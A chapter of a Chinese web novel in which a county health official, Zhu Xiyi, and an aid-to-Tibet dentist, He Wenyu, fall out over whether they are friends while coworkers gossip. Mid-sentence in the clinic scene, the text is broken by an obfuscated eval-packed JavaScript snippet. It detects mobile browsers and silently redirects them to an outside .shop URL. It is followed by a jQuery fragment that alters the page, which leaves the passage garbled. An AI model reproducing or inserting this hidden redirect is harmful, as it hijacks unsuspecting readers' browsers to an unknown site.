-
闹钟响了,祝西意迷糊地睁眼,看到手机上的8:10分。
艹。
她痛苦地伸了个懒腰,在被子里哀嚎。
祝西意的收拾出门的时间基本控制在二十分钟内,因为早餐比较容易解决,一个十分钟水煮蛋加跟真空包装的玉米进烧开的水里煮一下。
等她戴好明黄棒球帽,背着包出现在单元楼时,她承认看到站在楼栋最前边,那件亮蓝色队服的身影时头都痛了。
祝西意埋着头走过去。
“我们不是要出去吃吗?”瞄到她手上拎的东西,何文寓诧异地问。
他思维正常的将提前一小时出门理解成祝西意要跟自己到店吃早餐,所以才没提出质疑,反而很乐意地接受了。
祝西意皮笑肉不笑地抬头“明天起,九点给我准时到楼下。”
“啊,行。”何文寓跟上,迎着稀薄的朝阳走在她身后。
-
要不是今天出门早,祝西意真懒得等这个挑食的少爷选早餐。
小地方的早餐店品类不多,加上本地人更乐意去茶馆,几乎没什么早餐创新。
看着面前的油大炸物,何文寓端着下巴半天不懂要什么,祝西意在一边半根玉米都快吃完了。
摆出来的葱油饼、油条、油饼、土豆饼、韭菜饼、麻圆,没了。
“老板,没有包子吗?”
“有啊,要什么,有土豆的白菜的肉的。”
那老板戴着围裙在低头忙着剁饼,店里不断有客人进来买早餐,还得打包,他没怎么搭理站很久都选不出来的何文寓。
以前家里早上都是新鲜的蒸糕跟粥点,阿姨也会偶尔做点皮薄馅多的肠粉,淋点酱油就是一顿吃得享受的早点。
“……何文寓,你到底要吃什么。”
“算了,帮我拿两屉小笼包跟两杯豆浆吧,谢谢。”
这小笼包也看不出手工的痕迹,何文寓拿到后顿时有点不满,喝了一口的豆浆也一股冲泡味。
知道G省对早餐的要求高到甚至茶楼生意遍地有的程度,身为n市人,祝西意就没这么大追求。
“给你。”他分了各一份给祝西意。
“我不吃。”她手里还有拎着个鸡蛋。
“你就吃这些?”
何文寓不解,人早上就吃这种没味道的怎么工作。
“虽然不怎么像早餐,先凑合吃点吧,改天我煮。”何文寓给她手指挂上。
“你要自己做早餐?”祝西意不信。
她已经算得上折腾的人,为了保护肠胃,中晚餐都尽量回家自己做。但早上的睡眠实在宝贵,祝西意根本没精力起来自己捣鼓太久,她还有点吃惊何文寓这种人会自己爬起来做早餐。
何文寓嘴里含糊地点头“这不是有很多面店吗,买点皮回来,或者手工面,用不了多久就能出碗热早餐。”
祝西意吸了一口豆浆,烫得舌尖发麻。
拐进这条岔路就是卫生一条街,以卫生委主楼为中心,周围都是县属的医疗机构。
之前迎新的人民医院院子再往里走一条小路就直临卫生委,住院楼后边又是民族医院,民族院接着往里走就是疾病预防控制中心。
本来以为今天出门够早,不会撞上同事。
祝西意看着远远走来的两个藏族阿佳,还没来得及躲就撞上了目光,她们热情地给祝西意挥手。
何文寓看着空荡荡的街道上就四个人,他转头看了一眼面露窘相的她“你认识?”
“卫生委跟医院的同事。”
居然还有个是医院的,何文寓没印象。
……
“西意!怎么这么早!”
她们看了一眼祝西意旁边的人,虽然不认识,但衣服颜色挺好认的,援藏医生这么多年来的队服都是这一款。
“今天出门早……”
“我们也是出来散个步,吃早餐了吗?!”
藏族同事说话的声调都有点忽高忽低,祝西意习惯了她们语气跟实际意思不同的表述。
“嗯,顺路买的。”
两个人拎着一样的早餐,阿佳们笑了两声“这是你的医生朋友吗?”
“在路上碰到的。”
祝西意看到阿佳们眼里的揶揄,她又扭头让何文寓回答“是吧何医生,咱们太巧了。”
说,说我们就是碰巧!
祝西意眼里疯狂暗示。
明明是一起出门的,何文寓内心飘过一串省略号。
呵了一声才回答“是,碰巧遇上的。”
阿佳们摆摆手,笑呵呵的接着散去另一个方向。
见同事们离开,祝西意吸了口温度正常的豆浆压惊。
提着袋子的何文寓不虞“祝西意,老早就想问了,你不想承认我是你朋友?”
-
坐到办公位上,祝西意打开电脑后撑着下巴发呆。
刚才的不欢而散,反倒让她最近这段时间的复杂心情开始恢复原样,一种终于不用管别人心情的爽。
是啊,就得让何文寓想清楚,自己根本不合适给他当朋友。
“这不是很正常吗,多一事不如少一事,你想让她们知道是你求着我做朋友的?”
“你什么意思啊祝西意,我又没逼你,你不也自己答应的吗?”
什么没逼她,一直问问问,当时自己都想骂街了好不好。
刚才何文寓的脸当时有崩到什么地步,每一个表情都恨不得把眼睛瞪出来给她看,就差上手掐着她质问了。
-
……
“靠!”
王磊刚进来办公室就听见这动静,何文寓手里剩的那几个小笼包被砸到桌面上。
周一大早上的,这少爷就不想干活了?
“哟,磊队你看,少爷脾气好大呀。”韦蔚海在后边走进来。
他那天回去狠狠告了状,大吐苦水说自己是怎么被奴役的。
“文寓,你没事吧。”王磊狐疑地打量他,发现何文寓脸上像是憋屈。
可有啥事能让他憋屈啊,人不是有着什么都能实现的资本吗。
赵雯交班结束路过,准备回去休息。
她扒在门框上示意韦蔚海出来“喂,你们办公室怎么了气压这么低。”
“还能怎么了,何文寓发疯呗。”
“何医生啊,昨晚不是还好好的吗?”
韦蔚海一下来了精神“什么昨晚,他咋了?”
赵雯顿了一下,好像也不能说好,毕竟人是来开的感冒发烧药。
“也不是,何医生昨晚很晚了来急诊开药,感冒发烧来着。”
“切,这么点小病在这发脾气。”
韦蔚海不以为然,当医生的这点的确算得上小毛病了。
“那你说什么好好的?”他又追问。
“就是…唉那个也不好乱说。”
“快说啊,八卦还藏着掖着。”韦蔚海一下捕捉到关键词。
“昨晚是西意,西意陪他来的,结果一晚上过去发这么大脾气,会不会是两个人吵架了呀?”赵雯特地强调了两遍女方的名字,以此证明自己的话没有假。
“什么!西意?!”韦蔚海一下在门框边弹了起来,回过头去瞪那个坐在办公椅上的人。
何文寓缓缓看过来,那眼神让赵雯哆嗦了一下肩膀,总感觉阴森得很,她脚底抹油跑了。
“何文寓,你踏马还去麻烦人西意带你过来看病,那么矫情?”韦蔚海蹬蹬走回来,一副替她出头的意思。
“……就矫情,关你屁事?”何文寓竟然没有对矫情这两个字冒火。
“什么意思,文寓你昨晚生病了啊?”王磊也才留意到他明显的鼻音。
“哎哟生病了怎么没在群里说,咱们这么多人也能互相照应啊。”
何文寓没回答太多,直接起身出去,按当地开诊时间去往诊室。
“喂何文寓,何文寓!”韦蔚海砸了一下在铁皮柜子上,扭头就跟王磊吐槽。
“你看,我就说吧,他老去麻烦西意,整天给我们援藏医生的信誉扣分!”
王磊睨紧了眼看向办公室门口,琢磨来琢磨去总觉得怪。
口腔科一上午的工作井然有序,何文寓刚给第三个病人复查完牙齿恢复情况,在洗手。时间
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17721643|208689||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
就已经到了十二点,距离下班还有一小时。
刷得不太均匀的白漆木门上敲上一双手,何文寓抬头看了一眼,发现是身穿红白相间服装的志愿者,之前吃饭时那个说一直想看牙齿的。
叫什么来着,何文寓没印象就说了句“你啊,进来吧。”
“何医生,还好你的号能挂上,本来以为临时过来没得看了呢。”
志愿者间叫他老范,年纪虽然都一样,但老范总有种饱读历史的沧桑与成熟。
“没有,基本都能看得上。”
“是吧我还特地去问西意要何医生你的电话,想电话咨询有没有时间,结果她说跟你不熟,嘿给我赶紧请假又跑来挂号处询问,幸好看上了。”
拨着鼠标准备建立新病历的人顿了顿,扭过头发问“什么?”
老范看着口罩上一下变了目光的医生,迟疑地开口“就跑来挂号处询问啊,怎么了何医生?”
“她跟我不熟?”
何文寓皱起鼻尖,抽着面部闭紧了眼,整张脸都陷入气疯了的状态。
后来老范心惊胆战地描述起自己的牙齿症状,最后出来时一直在想到底哪里得罪人了,整个问诊下来何医生后边都是一副没什么耐心的态度。
-
祝西意有点苦恼,刚才王中秋把自己叫过去,给了一份主持稿,让她准备下周的护士节主持工作。
办公室的另一个阿佳分到了筹备工作,但她更宁愿去协助,而不是得担任汉语主持。
面对王中秋的刻意安排,她还是象征性地反抗了一声“主任,我不太合适吧。”
自己刚来不到一年,没什么人情积累,让她登台把别人好几年的主持经验取代,多少有点扣人缘。
“干嘛,我现在说话不管用了?”王中秋把眼睛从镜片后抬起,不满地瞪着她。
上周六的事情显然王中秋还没消气,祝西意只能摇摇头表示没有,伸手把她桌上那份主持稿拿走了。
回到办公室,内地考过来的干部,祝西意叫声佩姐的人赶紧关心道“怎么了西意,主任为难你了啊?”
“也…不算,把主持交给我了。”
佩姐惊讶地张着嘴“不是吧……”
“听说那主持了好几年的那谁,可不是个省油的灯。”
祝西意知道,那个叫李静是医务科主任,常年包揽卫生系统大大小小主持工作,跟王中秋混久了讲话都有点尖酸,很能来事的性格。
佩姐安慰这个小妹妹“没事啦,你好好准备,到时候有什么要帮助的去跟卓曲说。”
卓曲是办公室分到筹备护士节的本地干部,也是办公室主要负责人。
“嗯,知道。”祝西意把主持稿翻开,一看就看到了下班吃中午饭时间。
突然忙起来导致她没了回家弄午饭的心情,被佩姐一邀请,俩人下楼往食堂去。
卓曲不知道去哪了,一早上都没回来。
“也不知道今天食堂什么菜,想吃狮子头。”佩姐是个大方热情,有点小嘴馋的西北同事,没什么架子,很好相处。
祝西意心里还在想着主持的事情,嘴上应了两声。
“西意,这么巧啊。”韦蔚海他们几个援藏医生集体下班,卫生委跟人民医院一条路上的,自然就碰上了。
“啊,是,好巧。”祝西意在佩姐伞下跟韦蔚海回答,很快王磊也走上来。
“西意,听说你昨晚来急诊拿药了,没什么大碍吧。”
“什么?!”韦蔚海又跳脚了,合着西意病了还得管何大少爷。
王磊见怪不怪地拍了拍小弟蔚海让他别这么激动“我也是从药房那听说的。”
“啥,你生病了?”佩姐关切地问,只知道这小妹妹周六去陪同工作组时,倒霉地被刮了两道在脖子上,不知道她还生病了。
“没有,没生病。”祝西意躲了躲佩姐检查自己脖子的手。
“欸何文寓,到底咋回事!”韦蔚海赶紧跑上大步越过他们的人。
祝西意闻声看了眼独自走远的沉默背影,他咳了两声,肩膀轻微颤抖。
他早上还没有的帽子,现在怎么戴上了?